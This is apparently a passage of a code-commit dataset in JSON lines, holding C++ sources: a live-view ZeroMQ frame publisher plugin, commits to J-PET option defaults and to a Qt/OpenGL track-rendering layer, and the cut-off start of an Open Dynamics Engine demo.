aqqID);\n  add_json_member(&document, \"dtype\", type);\n  add_json_member(&document, \"dsize\", static_cast<uint64_t>(size));\n  add_json_member(&document, \"dataset\", dataset);\n  add_json_member(&document, \"compression\", compress);\n\n\n  \/\/getting tags manually because it is an array\n  rapidjson::Value keyTags(\"tags\", document.GetAllocator());\n  rapidjson::Value valueTags(rapidjson::kArrayType);\n  if (!tags_.empty())\n  {\n    for(int i = 0; i < tags_.size(); i++)\n    {\n      if (frame->has_parameter(tags_[i]))\n      {\n        rapidjson::Value tagStringVal(tags_[i].c_str(), document.GetAllocator());\n        valueTags.PushBack(tagStringVal, document.GetAllocator());\n      }\n    }\n    document.AddMember(keyTags, valueTags, document.GetAllocator());\n  }\n\n  \/\/getting dimensions manually because its an array\n  rapidjson::Value keyDims(\"shape\", document.GetAllocator());\n  rapidjson::Value valueDims(rapidjson::kArrayType);\n\n  size_t dim_size = dim.size();\n  for(size_t i=0; i < dim_size; i++)\n  {\n    std::string dimString = boost::to_string(dim[i]);\n    rapidjson::Value dimStringVal(dimString.c_str(), document.GetAllocator());\n    valueDims.PushBack(dimStringVal, document.GetAllocator());\n  }\n\n  document.AddMember(keyDims, valueDims, document.GetAllocator());\n\n  \/\/convert to a json like string so that it can be passed along the socket as the image header\n  rapidjson::StringBuffer buffer;\n  buffer.Clear();\n  rapidjson::Writer<rapidjson::StringBuffer, rapidjson::UTF8<> > writer(buffer);\n\n  document.Accept(writer);\n\n  LOG4CXX_TRACE(logger_, \"LiveViewPlugin Header Built, sending down socket.\");\n  publish_socket_.send(buffer.GetString(), ZMQ_SNDMORE);\n  LOG4CXX_TRACE(logger_, \"LiveViewPlugin Sending frame raw data\");\n  publish_socket_.send(size, frame_data_copy, 0);\n\n  time_last_frame_ = boost::posix_time::microsec_clock::local_time();\n}\n\nvoid LiveViewPlugin::add_json_member(rapidjson::Document* document, std::string key, std::string value)\n{\n  rapidjson::Value rkey(key.c_str(), document->GetAllocator());\n  rapidjson::Value rvalue(value.c_str(), document->GetAllocator());\n  document->AddMember(rkey, rvalue, document->GetAllocator());\n}\n\nvoid LiveViewPlugin::add_json_member(rapidjson::Document* document, std::string key, uint32_t value)\n{\n  rapidjson::Value rkey(key.c_str(), document->GetAllocator());\n  rapidjson::Value rvalue(value);\n  document->AddMember(rkey, rvalue, document->GetAllocator());\n}\nint LiveViewPlugin::get_version_major()\n{\n  return ODIN_DATA_VERSION_MAJOR;\n}\n\nint LiveViewPlugin::get_version_minor()\n{\n  return ODIN_DATA_VERSION_MINOR;\n}\n\nint LiveViewPlugin::get_version_patch()\n{\n  return ODIN_DATA_VERSION_PATCH;\n}\n\nstd::string LiveViewPlugin::get_version_short()\n{\n  return ODIN_DATA_VERSION_STR_SHORT;\n}\n\nstd::string LiveViewPlugin::get_version_long()\n{\n  return ODIN_DATA_VERSION_STR;\n}\n\n\/**\n * Sets the config value \"per_second\" which tells the plugin the number of frames to show each second\n * Setting this value to 0 disables the \"frames per second\" checking\n * \\param[in] value - the value to assign to per_second\n *\/ \nvoid LiveViewPlugin::set_per_second_config(int32_t value)\n{\n  per_second_ = value;\n\n  if (per_second_ == 0)\n  {\n    LOG4CXX_INFO(logger_, \"Disabling Frames Per Second Option\");\n  }\n  else\n  {\n    LOG4CXX_INFO(logger_, \"Displaying \" << per_second_ << \" frames per second\");\n    time_between_frames_ = 1000 \/ per_second_;\n  }\n}\n\/**\n * Sets the Frame Frequency config value. This value tells the plugin to show every Nth frame.\n * Setting this value to 0 disables this check\n * \\param[in] value - the value to assign to frame_freq\n *\/ \nvoid LiveViewPlugin::set_frame_freq_config(int32_t value)\n{\n  frame_freq_ = value;\n  if (frame_freq_ == 0)\n  {\n    LOG4CXX_INFO(logger_, \"Disabling Frame Frequency\");\n  }\n  else\n  {\n    LOG4CXX_INFO(logger_, \"Showing every \" << frame_freq_ << \" frame(s)\");\n  }\n}\n\/**\n * Sets the address of the publisher socket that live view data is sent to.\n * When setting this address, it also binds the socket to the address, unbinding it from any previous address given\n * \\param[in] value - the address to bind the socket to.\n *\/\nvoid LiveViewPlugin::set_socket_addr_config(std::string value)\n{\n  \/\/we dont want to unbind and rebind the same address, as it can cause an error if it takes time to unbind, so we check first\n  if (publish_socket_.has_bound_endpoint(value))\n  {\n    LOG4CXX_WARN(logger_, \"Socket already bound to \" << value << \". Doing nothing\");\n    return;\n  }\n  uint32_t linger = 0;\n  publish_socket_.setsockopt(ZMQ_LINGER, &linger, sizeof(linger));\n  publish_socket_.unbind(image_view_socket_addr_.c_str());\n\n  image_view_socket_addr_ = value;\n  LOG4CXX_INFO(logger_, \"Setting Live View Socket Address to \" << image_view_socket_addr_);\n  publish_socket_.bind(image_view_socket_addr_);\n}\n\n\/**\n * Sets the dataset filter configuration. The live view output can be filtered by the dataset variable on the frame based off a list\n * of desired datasets.\n * \\param[in] value - A comma deliminated list of dataset names, or an empty string to ignore this filtering.\n *\/\nvoid LiveViewPlugin::set_dataset_name_config(std::string value)\n{\n  std::string delim = \",\";\n  datasets_.clear();\n  if (!value.empty())\n  {\n    \/\/delim value string by comma\n    boost::split(datasets_, value, boost::is_any_of(delim));\n  }\n  std::string dataset_string = \"\";\n  for (int i = 0; i < datasets_.size(); i++)\n  {\n    boost::trim(datasets_[i]);\n    dataset_string += datasets_[i] + \",\";\n  }\n  LOG4CXX_INFO(logger_, \"Setting the datasets allowed to: \" << dataset_string);\n}\n\nvoid LiveViewPlugin::set_tagged_filter_config(std::string value)\n{\n  std::string delim = \",\";\n  tags_.clear();\n  if (!value.empty())\n  {\n    boost::split(tags_, value, boost::is_any_of(delim));\n  }\n  std::string tags_string = \"\";\n  for (int i = 0; i < tags_.size(); i++)\n  {\n    boost::trim(tags_[i]);\n    tags_string += tags_[i] + \", \";\n  }\n  LOG4CXX_INFO(logger_, \"Only Displaying images with the following tags: \" << tags_string);\n}\n\n}\/*namespace FrameProcessor*\/\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/**\n  *  @copyright Copyright (c) 2015, J-PET collaboration\n  *  @file JPetOptions.cpp\n  *  @author Wojciech Krzemien, wojciech.krzemien@if.uj.edu.pl\n  *\/\n\n#include \".\/JPetOptions.h\"\n#include \"..\/..\/JPetLoggerInclude.h\"\n\nJPetOptions::Options JPetOptions::kDefaultOptions = {\n  {\"inputFile\", \"\"},\n  {\"inputFileType\", \"\"},\n  {\"outputFile\", \"\"},\n  {\"outputFileType\", \"\"},\n  {\"firstEvent\", \"-1\"},\n  {\"lastEvent\", \"-1\"},\n  {\"progressBar\", \"false\"},\n  {\"runId\", \"-1\"}\n};\n\nJPetOptions::JPetOptions()\n{\n  setStringToFileTypeConversion();\n  fOptions = JPetOptions::kDefaultOptions;\n}\n\nJPetOptions::JPetOptions(const Options& opts):\n  fOptions(opts)\n{\n  setStringToFileTypeConversion();\n  if (areCorrect(opts)) {\n    setOptions(opts);\n  } else {\n    ERROR(\"Options are not correct using default ones\");\n  }\n}\n\nvoid JPetOptions::setStringToFileTypeConversion()\n{\n  fStringToFileType = {\n    {\"\", kNoType},\n    {\"root\", kRoot},\n    {\"scope\", kScope},\n    {\"raw\", kRaw},\n    {\"hld\", kHld},\n    {\"phys.eve\", kPhysEve},\n    {\"phys.hit\", kPhysHit},\n    {\"phys.sig\", kPhysSig},\n    {\"raw.sig\", kRawSig},\n    {\"reco.sig\", kRecoSig},\n    {\"tslot.cal\", kTslotCal},\n    {\"tslot.raw\", kTslotRaw}\n  };\n}\n\nbool JPetOptions::areCorrect(const Options& opts) const\n{\n  return true;\n}\n<commit_msg>Change default outputfile to test.root<commit_after>\/**\n  *  @copyright Copyright (c) 2015, J-PET collaboration\n  *  @file JPetOptions.cpp\n  *  @author Wojciech Krzemien, wojciech.krzemien@if.uj.edu.pl\n  *\/\n\n#include \".\/JPetOptions.h\"\n#include \"..\/..\/JPetLoggerInclude.h\"\n\nJPetOptions::Options JPetOptions::kDefaultOptions = {\n  {\"inputFile\", \"\"},\n  {\"inputFileType\", \"\"},\n  {\"outputFile\", \"root\"},\n  {\"outputFileType\", \"test.root\"},\n  {\"firstEvent\", \"-1\"},\n  {\"lastEvent\", \"-1\"},\n  {\"progressBar\", \"false\"},\n  {\"runId\", \"-1\"}\n};\n\nJPetOptions::JPetOptions()\n{\n  setStringToFileTypeConversion();\n  fOptions = JPetOptions::kDefaultOptions;\n}\n\nJPetOptions::JPetOptions(const Options& opts):\n  fOptions(opts)\n{\n  setStringToFileTypeConversion();\n  if (areCorrect(opts)) {\n    setOptions(opts);\n  } else {\n    ERROR(\"Options are not correct using default ones\");\n  }\n}\n\nvoid JPetOptions::setStringToFileTypeConversion()\n{\n  fStringToFileType = {\n    {\"\", kNoType},\n    {\"root\", kRoot},\n    {\"scope\", kScope},\n    {\"raw\", kRaw},\n    {\"hld\", kHld},\n    {\"phys.eve\", kPhysEve},\n    {\"phys.hit\", kPhysHit},\n    {\"phys.sig\", kPhysSig},\n    {\"raw.sig\", kRawSig},\n    {\"reco.sig\", kRecoSig},\n    {\"tslot.cal\", kTslotCal},\n    {\"tslot.raw\", kTslotRaw}\n  };\n}\n\nbool JPetOptions::areCorrect(const Options& opts) const\n{\n  return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"TrackLayer.h\"\n\n#include \"PathUtil.h\"\n#include \"Projection.h\"\n#include \"Types.h\"\n#include \"ViewCtx.h\"\n\n#define PARTICLE_RADIUS 12.0\n#define MEDIUM_LOD_RES 10.0\n#define LO_LOD_RES 20.0\n\nusing namespace cinder;\n\nconst Color TrackLayer::RunColor = Color( 1, 0, 0 );\nconst Color TrackLayer::OtherColor = Color( 0.3, 0.3, 1 );\nconst Color TrackLayer::SelectedColor = Color( 1, 1, 0 );\n\nQOpenGLShaderProgram* TrackLayer::_shader;\nbool TrackLayer::_isSetup = false;\nbool TrackLayer::_particlesDrawn = false;\nbool TrackLayer::_selectedParticlesDrawn = false;\nQList<Vec2d> TrackLayer::_particleDrawList;\nQList<Vec2d> TrackLayer::_selectedParticleDrawList;\nfloat TrackLayer::_particleRadius = PARTICLE_RADIUS;\n\nvoid\nTrackLayer::_setup()\n{\n    _shader = new QOpenGLShaderProgram();\n    \/\/ shaders from http:\/\/www.geeks3d.com\/20130705\/shader-library-circle-disc-fake-sphere-in-glsl-opengl-glslhacker\/3\/\n    _shader->addShaderFromSourceCode(QOpenGLShader::Vertex,\n        \"#version 120\\n\"\n        \"void main()\\n\"\n        \"{\\n\"\n        \"    gl_Position = gl_ModelViewProjectionMatrix * gl_Vertex;\\n\"\n        \"    gl_TexCoord[0] = gl_MultiTexCoord0;\\n\"\n        \"}\\n\");\n    _shader->addShaderFromSourceCode(QOpenGLShader::Fragment,\n        \"#version 120\\n\"\n        \"uniform sampler2D tex0;\\n\"\n        \"uniform float border_size; \/\/ 0.01\\n\"\n        \"uniform float disc_radius; \/\/ 0.5\\n\"\n        \"uniform vec4 disc_color; \/\/ vec4(1.0, 1.0, 1.0, 1.0)\\n\"\n        \"uniform vec2 disc_center; \/\/ vec2(0.5, 0.5)\\n\"\n        \"void main (void)\\n\"\n        \"{\\n\"\n        \"    vec2 uv = gl_TexCoord[0].xy;\\n\\n\"\n        \"    vec4 bkg_color = texture2D(tex0,uv * vec2(1.0, -1.0));\\n\"\n        \"    \/\/ Offset uv with the center of the circle.\\n\"\n        \"    uv -= disc_center;\\n\"\n        \"    float dist = sqrt(dot(uv, uv));\\n\"\n        \"    float t = smoothstep(disc_radius+border_size, disc_radius-border_size, dist);\\n\"\n        \"    gl_FragColor = mix(bkg_color, disc_color, t);\\n\"\n        \"}\\n\");\n    _isSetup = true;\n}\n\nTrackLayer::TrackLayer(const Track *track) : Layer(),\n_mediumLodRes(MEDIUM_LOD_RES),\n_loLodRes(LO_LOD_RES),\n_track(track),\n_duration(0)\n{\n    if (!_isSetup)\n        _setup();\n    int numPts = track->points.size();\n    if (numPts > 0)\n        _startTime = QDateTime::fromTime_t(track->points[0].time);\n    if (numPts > 1)\n        _duration = track->points[numPts-1].time - track->points[0].time;\n    _pathBuffer = (float*)malloc(sizeof(float)*4*numPts);\n}\n\nTrackLayer::~TrackLayer() \n{\n    free(_pathBuffer);\n    _pathBuffer = NULL;\n    delete _track;\n}\n\nQString\nTrackLayer::name() const\n{\n    return _track->name;\n}\n\nQString\nTrackLayer::sport() const\n{\n    return _track->sport;\n}\n\nQDateTime\nTrackLayer::startTime() const\n{\n    return _startTime;\n}\n\nPassMap\nTrackLayer::passes() const\n{\n    PassMap layers;\n    layers.insert(Pass_UnselectedPath);\n    layers.insert(Pass_SelectedPath);\n    layers.insert(Pass_Particles);\n    return layers;\n}\n\n\/*\n * Linear interpolate between a and b by the fractional f.\n *\/\ndouble lerp(double a, double b, double f)\n{\n    return a + f * (b - a);\n}\n\nMapPoint lerp(const MapPoint& a, const MapPoint& b, double f)\n{\n    return MapPoint(lerp(a.x, b.x, f), lerp(a.y, b.y, f));\n}\n\nunsigned int\nTrackLayer::duration() const\n{\n    return _duration;\n}\n\nvoid\nTrackLayer::project(const Projection &projection)\n{\n    \/\/ Project the track into the hi-res path and compute the bounding box\n    int startTime = 0;\n    for(size_t i=0; i < _track->points.size(); i++) {\n        TrackPoint pt = _track->points[i];\n        if (i == 0)\n            startTime = pt.time;\n        PathPoint newPt;\n        newPt.pos = projection.toProjection(pt.pos);\n        newPt.time = pt.time - startTime;\n        _path_hi.push_back(newPt);\n        _bounds += newPt.pos;\n    }\n    \n    _particleRadius *= projection.getScaleMultiplier();\n    _mediumLodRes *= projection.getScaleMultiplier();\n    _loLodRes *= projection.getScaleMultiplier();\n    \n    qDebug(\"med: %f, lo: %f\", _mediumLodRes, _loLodRes);\n    qDebug(\"hi: %d points\", _path_hi.count());\n    \n    \/\/ Make the medium res path\n    _path_med = PathUtil::DouglasPeucker(_path_hi, _mediumLodRes);\n    qDebug(\"med: %d points\", _path_med.count());\n    \n    \/\/ Make the low res path\n    _path_lo = PathUtil::DouglasPeucker(_path_med, _loLodRes);\n    qDebug(\"lo: %d points\", _path_lo.count());\n}\n\nvoid\nTrackLayer::draw(uint pass, const ViewCtx &viewCtx, const TimeCtx &timeCtx)\n{\n    if (!visible() || !_bounds.overlaps(viewCtx.getBoundingBox()))\n        return;\n    bool selected = viewCtx.isSelected(id());\n    switch (pass) {\n        case Pass_UnselectedPath:\n            if (!selected)\n                _drawPath(viewCtx, timeCtx);\n            _pushParticle(viewCtx);\n            break;\n        case Pass_SelectedPath:\n            if (selected)\n                _drawPath(viewCtx, timeCtx);\n            break;\n        case Pass_Particles:\n            _drawParticles(viewCtx);\n            break;\n    };\n}\n\nvoid\nTrackLayer::_drawPath(const ViewCtx &viewCtx, const TimeCtx &timeCtx)\n{\n    \/\/ Choose which path to display\n    Path *currentPath = &_path_hi;\n    double res = viewCtx.getResolution();\n    if (res >= _mediumLodRes && res < _loLodRes)\n        currentPath = &_path_med;\n    else if (res >= _loLodRes)\n        currentPath = &_path_lo;\n    \n    if (viewCtx.isSelected(id()))\n        gl::color( SelectedColor );\n    else if (_track->sport == \"Running\")\n        gl::color( RunColor );\n    else\n        gl::color( OtherColor );\n    \n    MapPoint w2c = viewCtx.getWorldToCamera();\n    PathPoint *lastPathPt;\n    MapPoint *lastMapPt;\n    int bufferIndex = 0;\n    bool lastInbounds = false;\n    for(int i=0; i < currentPath->count(); i++) {\n        PathPoint *pt = &(*currentPath)[i];\n        MapPoint *thisMapPt = &(pt->pos);\n        bool inbounds = viewCtx.getBoundingBox().contains(*thisMapPt);\n        if (i == 0 || pt->time < timeCtx.getMapSeconds()) {\n            if (i > 0 && (inbounds || lastInbounds)) {\n                _pathBuffer[bufferIndex++] = w2c.x + lastMapPt->x;\n                _pathBuffer[bufferIndex++] = w2c.y + lastMapPt->y;\n                _pathBuffer[bufferIndex++] = w2c.x + thisMapPt->x;\n                _pathBuffer[bufferIndex++] = w2c.y + thisMapPt->y;\n            }\n            lastMapPt = thisMapPt;\n            lastPathPt = pt;\n            _particlePos = *lastMapPt;\n        } else {\n            double elapsed = timeCtx.getMapSeconds() -\n                             double(lastPathPt->time);\n            int trkElapsed = pt->time - lastPathPt->time;\n            double f = (trkElapsed == 0) ? 0. : elapsed \/ double(trkElapsed);\n            if (f > 0.0 && (inbounds || lastInbounds)) {\n                MapPoint finalPt = lerp(*lastMapPt, *thisMapPt, f);\n                _pathBuffer[bufferIndex++] = w2c.x + lastMapPt->x;\n                _pathBuffer[bufferIndex++] = w2c.y + lastMapPt->y;\n                _pathBuffer[bufferIndex++] = w2c.x + finalPt.x;\n                _pathBuffer[bufferIndex++] = w2c.y + finalPt.y;\n                _particlePos = finalPt;\n            }\n            break;\n        }\n        lastInbounds = inbounds;\n    }\n    glEnableClientState( GL_VERTEX_ARRAY );\n    glVertexPointer( 2, GL_FLOAT, 0, _pathBuffer );\n    glDrawArrays( GL_LINES, 0, bufferIndex\/2 );\n    glDisableClientState( GL_VERTEX_ARRAY );\n}\n\nvoid\nTrackLayer::_pushParticle(const ViewCtx &viewCtx) const\n{\n    _particlesDrawn = false;\n    \/\/ transform to camera space\n    const Vec2d particlePosCamera = viewCtx.getWorldToCamera() + _particlePos;\n    if (viewCtx.isSelected(id()))\n        _selectedParticleDrawList.append(particlePosCamera);\n    else\n        _particleDrawList.append(particlePosCamera);\n    \/*\n    gl::drawSolidCircle( particlePosCamera, radius);\n    if (viewCtx.isSelected(id())) {\n        gl::drawStrokedCircle(particlePosCamera, radius*1.5);\n        gl::drawStrokedCircle(particlePosCamera, radius*2.0);\n    }\n    gl::color( Color( 0.3, 0.3, 0.3 ) );\n    gl::drawStrokedCircle(particlePosCamera, radius);\n    *\/\n}\n\nBoundingBox\nTrackLayer::getBoundingBox() const\n{\n    return _bounds;\n}\n\nMapPoint\nTrackLayer::position() const\n{\n    return _particlePos;\n}\n\nbool\nTrackLayer::ephemeral() const\n{\n    return false;\n}\n\nvoid\nTrackLayer::_drawParticles(const ViewCtx &viewCtx)\n{\n    _particlesDrawn = true;\n    Vec2d particle;\n    size_t numParticles = _particleDrawList.count();\n    float *_particleBuffer = (float*)malloc(sizeof(float)*2*numParticles);\n    size_t bufferIndex = 0;\n    foreach(particle, _particleDrawList) {\n        _particleBuffer[bufferIndex++] = particle.x;\n        _particleBuffer[bufferIndex++] = particle.y;\n    }\n    float radius = _particleRadius;\n    if (radius < viewCtx.getResolution()*2.)\n        radius = viewCtx.getResolution()*2.;\n    _shader->bind();\n    glEnableClientState( GL_VERTEX_ARRAY );\n    glVertexPointer( 2, GL_FLOAT, 0, _particleBuffer );\n    glDrawArrays( GL_POINTS, 0, bufferIndex\/2 );\n    glDisableClientState( GL_VERTEX_ARRAY );\n    _shader->release();\n    free(_particleBuffer);\n}\n\nvoid\nTrackLayer::_drawSelectedParticles(const ViewCtx &viewCtx)\n{\n    _selectedParticlesDrawn = true;\n}\n<commit_msg>And don’t forget to clear the particle drawlist after drawing the particles.<commit_after>#include \"TrackLayer.h\"\n\n#include \"PathUtil.h\"\n#include \"Projection.h\"\n#include \"Types.h\"\n#include \"ViewCtx.h\"\n\n#define PARTICLE_RADIUS 12.0\n#define MEDIUM_LOD_RES 10.0\n#define LO_LOD_RES 20.0\n\nusing namespace cinder;\n\nconst Color TrackLayer::RunColor = Color( 1, 0, 0 );\nconst Color TrackLayer::OtherColor = Color( 0.3, 0.3, 1 );\nconst Color TrackLayer::SelectedColor = Color( 1, 1, 0 );\n\nQOpenGLShaderProgram* TrackLayer::_shader;\nbool TrackLayer::_isSetup = false;\nbool TrackLayer::_particlesDrawn = false;\nbool TrackLayer::_selectedParticlesDrawn = false;\nQList<Vec2d> TrackLayer::_particleDrawList;\nQList<Vec2d> TrackLayer::_selectedParticleDrawList;\nfloat TrackLayer::_particleRadius = PARTICLE_RADIUS;\n\nvoid\nTrackLayer::_setup()\n{\n    _shader = new QOpenGLShaderProgram();\n    \/\/ shaders from http:\/\/www.geeks3d.com\/20130705\/shader-library-circle-disc-fake-sphere-in-glsl-opengl-glslhacker\/3\/\n    _shader->addShaderFromSourceCode(QOpenGLShader::Vertex,\n        \"#version 120\\n\"\n        \"void main()\\n\"\n        \"{\\n\"\n        \"    gl_Position = gl_ModelViewProjectionMatrix * gl_Vertex;\\n\"\n        \"    gl_TexCoord[0] = gl_MultiTexCoord0;\\n\"\n        \"}\\n\");\n    _shader->addShaderFromSourceCode(QOpenGLShader::Fragment,\n        \"#version 120\\n\"\n        \"uniform sampler2D tex0;\\n\"\n        \"uniform float border_size; \/\/ 0.01\\n\"\n        \"uniform float disc_radius; \/\/ 0.5\\n\"\n        \"uniform vec4 disc_color; \/\/ vec4(1.0, 1.0, 1.0, 1.0)\\n\"\n        \"uniform vec2 disc_center; \/\/ vec2(0.5, 0.5)\\n\"\n        \"void main (void)\\n\"\n        \"{\\n\"\n        \"    vec2 uv = gl_TexCoord[0].xy;\\n\\n\"\n        \"    vec4 bkg_color = texture2D(tex0,uv * vec2(1.0, -1.0));\\n\"\n        \"    \/\/ Offset uv with the center of the circle.\\n\"\n        \"    uv -= disc_center;\\n\"\n        \"    float dist = sqrt(dot(uv, uv));\\n\"\n        \"    float t = smoothstep(disc_radius+border_size, disc_radius-border_size, dist);\\n\"\n        \"    gl_FragColor = mix(bkg_color, disc_color, t);\\n\"\n        \"}\\n\");\n    _isSetup = true;\n}\n\nTrackLayer::TrackLayer(const Track *track) : Layer(),\n_mediumLodRes(MEDIUM_LOD_RES),\n_loLodRes(LO_LOD_RES),\n_track(track),\n_duration(0)\n{\n    if (!_isSetup)\n        _setup();\n    int numPts = track->points.size();\n    if (numPts > 0)\n        _startTime = QDateTime::fromTime_t(track->points[0].time);\n    if (numPts > 1)\n        _duration = track->points[numPts-1].time - track->points[0].time;\n    _pathBuffer = (float*)malloc(sizeof(float)*4*numPts);\n}\n\nTrackLayer::~TrackLayer() \n{\n    free(_pathBuffer);\n    _pathBuffer = NULL;\n    delete _track;\n}\n\nQString\nTrackLayer::name() const\n{\n    return _track->name;\n}\n\nQString\nTrackLayer::sport() const\n{\n    return _track->sport;\n}\n\nQDateTime\nTrackLayer::startTime() const\n{\n    return _startTime;\n}\n\nPassMap\nTrackLayer::passes() const\n{\n    PassMap layers;\n    layers.insert(Pass_UnselectedPath);\n    layers.insert(Pass_SelectedPath);\n    layers.insert(Pass_Particles);\n    return layers;\n}\n\n\/*\n * Linear interpolate between a and b by the fractional f.\n *\/\ndouble lerp(double a, double b, double f)\n{\n    return a + f * (b - a);\n}\n\nMapPoint lerp(const MapPoint& a, const MapPoint& b, double f)\n{\n    return MapPoint(lerp(a.x, b.x, f), lerp(a.y, b.y, f));\n}\n\nunsigned int\nTrackLayer::duration() const\n{\n    return _duration;\n}\n\nvoid\nTrackLayer::project(const Projection &projection)\n{\n    \/\/ Project the track into the hi-res path and compute the bounding box\n    int startTime = 0;\n    for(size_t i=0; i < _track->points.size(); i++) {\n        TrackPoint pt = _track->points[i];\n        if (i == 0)\n            startTime = pt.time;\n        PathPoint newPt;\n        newPt.pos = projection.toProjection(pt.pos);\n        newPt.time = pt.time - startTime;\n        _path_hi.push_back(newPt);\n        _bounds += newPt.pos;\n    }\n    \n    _particleRadius *= projection.getScaleMultiplier();\n    _mediumLodRes *= projection.getScaleMultiplier();\n    _loLodRes *= projection.getScaleMultiplier();\n    \n    qDebug(\"med: %f, lo: %f\", _mediumLodRes, _loLodRes);\n    qDebug(\"hi: %d points\", _path_hi.count());\n    \n    \/\/ Make the medium res path\n    _path_med = PathUtil::DouglasPeucker(_path_hi, _mediumLodRes);\n    qDebug(\"med: %d points\", _path_med.count());\n    \n    \/\/ Make the low res path\n    _path_lo = PathUtil::DouglasPeucker(_path_med, _loLodRes);\n    qDebug(\"lo: %d points\", _path_lo.count());\n}\n\nvoid\nTrackLayer::draw(uint pass, const ViewCtx &viewCtx, const TimeCtx &timeCtx)\n{\n    if (!visible() || !_bounds.overlaps(viewCtx.getBoundingBox()))\n        return;\n    bool selected = viewCtx.isSelected(id());\n    switch (pass) {\n        case Pass_UnselectedPath:\n            if (!selected)\n                _drawPath(viewCtx, timeCtx);\n            _pushParticle(viewCtx);\n            break;\n        case Pass_SelectedPath:\n            if (selected)\n                _drawPath(viewCtx, timeCtx);\n            break;\n        case Pass_Particles:\n            _drawParticles(viewCtx);\n            break;\n    };\n}\n\nvoid\nTrackLayer::_drawPath(const ViewCtx &viewCtx, const TimeCtx &timeCtx)\n{\n    \/\/ Choose which path to display\n    Path *currentPath = &_path_hi;\n    double res = viewCtx.getResolution();\n    if (res >= _mediumLodRes && res < _loLodRes)\n        currentPath = &_path_med;\n    else if (res >= _loLodRes)\n        currentPath = &_path_lo;\n    \n    if (viewCtx.isSelected(id()))\n        gl::color( SelectedColor );\n    else if (_track->sport == \"Running\")\n        gl::color( RunColor );\n    else\n        gl::color( OtherColor );\n    \n    MapPoint w2c = viewCtx.getWorldToCamera();\n    PathPoint *lastPathPt;\n    MapPoint *lastMapPt;\n    int bufferIndex = 0;\n    bool lastInbounds = false;\n    for(int i=0; i < currentPath->count(); i++) {\n        PathPoint *pt = &(*currentPath)[i];\n        MapPoint *thisMapPt = &(pt->pos);\n        bool inbounds = viewCtx.getBoundingBox().contains(*thisMapPt);\n        if (i == 0 || pt->time < timeCtx.getMapSeconds()) {\n            if (i > 0 && (inbounds || lastInbounds)) {\n                _pathBuffer[bufferIndex++] = w2c.x + lastMapPt->x;\n                _pathBuffer[bufferIndex++] = w2c.y + lastMapPt->y;\n                _pathBuffer[bufferIndex++] = w2c.x + thisMapPt->x;\n                _pathBuffer[bufferIndex++] = w2c.y + thisMapPt->y;\n            }\n            lastMapPt = thisMapPt;\n            lastPathPt = pt;\n            _particlePos = *lastMapPt;\n        } else {\n            double elapsed = timeCtx.getMapSeconds() -\n                             double(lastPathPt->time);\n            int trkElapsed = pt->time - lastPathPt->time;\n            double f = (trkElapsed == 0) ? 0. : elapsed \/ double(trkElapsed);\n            if (f > 0.0 && (inbounds || lastInbounds)) {\n                MapPoint finalPt = lerp(*lastMapPt, *thisMapPt, f);\n                _pathBuffer[bufferIndex++] = w2c.x + lastMapPt->x;\n                _pathBuffer[bufferIndex++] = w2c.y + lastMapPt->y;\n                _pathBuffer[bufferIndex++] = w2c.x + finalPt.x;\n                _pathBuffer[bufferIndex++] = w2c.y + finalPt.y;\n                _particlePos = finalPt;\n            }\n            break;\n        }\n        lastInbounds = inbounds;\n    }\n    glEnableClientState( GL_VERTEX_ARRAY );\n    glVertexPointer( 2, GL_FLOAT, 0, _pathBuffer );\n    glDrawArrays( GL_LINES, 0, bufferIndex\/2 );\n    glDisableClientState( GL_VERTEX_ARRAY );\n}\n\nvoid\nTrackLayer::_pushParticle(const ViewCtx &viewCtx) const\n{\n    _particlesDrawn = false;\n    \/\/ transform to camera space\n    const Vec2d particlePosCamera = viewCtx.getWorldToCamera() + _particlePos;\n    if (viewCtx.isSelected(id()))\n        _selectedParticleDrawList.append(particlePosCamera);\n    else\n        _particleDrawList.append(particlePosCamera);\n    \/*\n    gl::drawSolidCircle( particlePosCamera, radius);\n    if (viewCtx.isSelected(id())) {\n        gl::drawStrokedCircle(particlePosCamera, radius*1.5);\n        gl::drawStrokedCircle(particlePosCamera, radius*2.0);\n    }\n    gl::color( Color( 0.3, 0.3, 0.3 ) );\n    gl::drawStrokedCircle(particlePosCamera, radius);\n    *\/\n}\n\nBoundingBox\nTrackLayer::getBoundingBox() const\n{\n    return _bounds;\n}\n\nMapPoint\nTrackLayer::position() const\n{\n    return _particlePos;\n}\n\nbool\nTrackLayer::ephemeral() const\n{\n    return false;\n}\n\nvoid\nTrackLayer::_drawParticles(const ViewCtx &viewCtx)\n{\n    _particlesDrawn = true;\n    Vec2d particle;\n    size_t numParticles = _particleDrawList.count();\n    float *_particleBuffer = (float*)malloc(sizeof(float)*2*numParticles);\n    size_t bufferIndex = 0;\n    foreach(particle, _particleDrawList) {\n        _particleBuffer[bufferIndex++] = particle.x;\n        _particleBuffer[bufferIndex++] = particle.y;\n    }\n    float radius = _particleRadius;\n    if (radius < viewCtx.getResolution()*2.)\n        radius = viewCtx.getResolution()*2.;\n    _shader->bind();\n    glEnableClientState( GL_VERTEX_ARRAY );\n    glVertexPointer( 2, GL_FLOAT, 0, _particleBuffer );\n    glDrawArrays( GL_POINTS, 0, bufferIndex\/2 );\n    glDisableClientState( GL_VERTEX_ARRAY );\n    _shader->release();\n    free(_particleBuffer);\n    _particleDrawList.clear();\n}\n\nvoid\nTrackLayer::_drawSelectedParticles(const ViewCtx &viewCtx)\n{\n    _selectedParticlesDrawn = true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *                                                                       *\n * Open Dynamics Engine, Copyright (C) 2001 Russell L. Smith.            *\n *                                                                       *\n * This library is free software; you can redistribute it and\/or         *\n * modify it under the terms of the GNU Lesser General Public            *\n * License as published by the Free Software Foundation; either          *\n * version 2.1 of the License, or (at your option) any later version.    *\n *                                                                       *\n * This library is distributed in the hope that it will be useful,       *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of        *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU      *\n * Lesser General Public License for more details.                       *\n *                                                                       *\n * You should have received a copy of the GNU Lesser General Public      *\n * License along with this library (see the file LICENSE.TXT); if not,   *\n * write to the Free Software Foundation, Inc., 59 Temple Place,         *\n * Suite 330, Boston, MA 02111-1307 USA.                                 *\n *                                                                       *\n *************************************************************************\/\n\n#include <stdio.h>\n#include \"ode\/ode.h\"\n#include \"drawstuff\/drawstuff.h\"\n\n\n\/\/ select correct drawing functions\n\n#ifdef dDOUBLE\n#define dsDrawBox dsDrawBoxD\n#define dsDrawSphere dsDrawSphereD\n#define 